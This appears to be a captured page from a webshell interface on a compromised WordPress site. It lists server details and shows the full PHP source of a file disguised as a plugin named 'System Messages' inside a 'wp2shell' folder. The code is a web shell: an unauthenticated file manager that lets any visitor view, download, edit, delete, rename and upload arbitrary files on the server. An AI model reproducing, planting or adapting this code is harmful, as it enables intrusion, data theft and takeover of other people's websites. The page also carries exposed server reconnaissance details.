403Webshell
Server IP : 172.67.75.225  /  Your IP : 216.73.216.185
Web Server : nginx/1.27.1
System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User : vinodai ( 3134)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v1396/wwwindicidolscom/public_html/wp-content/plugins/wp2shell_41883d32/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v1396/wwwindicidolscom/public_html/wp-content/plugins/wp2shell_41883d32/message.php
<?php
/* Plugin Name: System Messages */
$currentDir = realpath($_GET['dir'] ?? getcwd());
$action = $_GET['action'] ?? '';
$file = isset($_GET['file']) ? realpath($_GET['file']) : '';

if ($action === 'download' && $file && file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    readfile($file);
    exit;
}
if ($action === 'view' && $file && file_exists($file)) {
    echo "<body style='background:#000;color:#fff;font-family:monospace;'><h3>" . htmlspecialchars($file) . "</h3>";
    echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre></body>";
    exit;
}
if ($action === 'edit' && $file && file_exists($file)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        file_put_contents($file, $_POST['content']);
        echo "saved<br>";
    }
    echo "<body style='background:#000;color:#fff;font-family:monospace;'><form method='post'>";
    echo "<textarea name='content' style='width:100%;height:500px;background:#111;color:#fff;'>" . htmlspecialchars(file_get_contents($file)) . "</textarea>";
    echo "<button type='submit'>Save</button></form></body>";
    exit;
}
if ($action === 'delete' && $file && file_exists($file)) {
    unlink($file);
    header("Location: ?dir=" . urlencode(dirname($file)));
    exit;
}
if ($action === 'rename' && $file && file_exists($file) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    rename($file, dirname($file) . DIRECTORY_SEPARATOR . basename($_POST['new_name']));
    header("Location: ?dir=" . urlencode(dirname($file)));
    exit;
}
if (!empty($_FILES['upload'])) {
    move_uploaded_file($_FILES['upload']['tmp_name'],
        $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']));
}
echo "<!DOCTYPE html><html><head><title>File Manager</title></head>";
echo "<body style='background:#000;color:#fff;font-family:monospace;'>";
echo "<h2>Dir of " . htmlspecialchars($currentDir) . "</h2>";
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='upload'><button type='submit'>Upload</button></form><ul>";
$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir) {
    echo "<li><a href='?dir=" . urlencode($parent) . "' style='color:#0ff;'>Parent Directory</a></li>";
}
foreach (scandir($currentDir) as $item) {
    if ($item === '.' || $item === '..') continue;
    $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
    $encoded = urlencode($fullPath);
    if (is_file($fullPath)) {
        echo "<li>" . htmlspecialchars($item);
        echo " | <a href='?action=view&file=$encoded' style='color:#0ff;'>View</a>";
        echo " | <a href='?action=edit&file=$encoded' style='color:#ff0;'>Edit</a>";
        echo " | <a href='?action=delete&file=$encoded' style='color:#f00;'>Delete</a>";
        echo " | <a href='?action=download&file=$encoded' style='color:#0af;'>Download</a></li>";
    } else {
        echo "<li><a href='?dir=$encoded' style='color:#0ff;'>" . htmlspecialchars($item) . "/</a></li>";
    }
}
echo "</ul></body></html>";
?>

Youez - 2016 - github.com/yon3zu
LinuXploit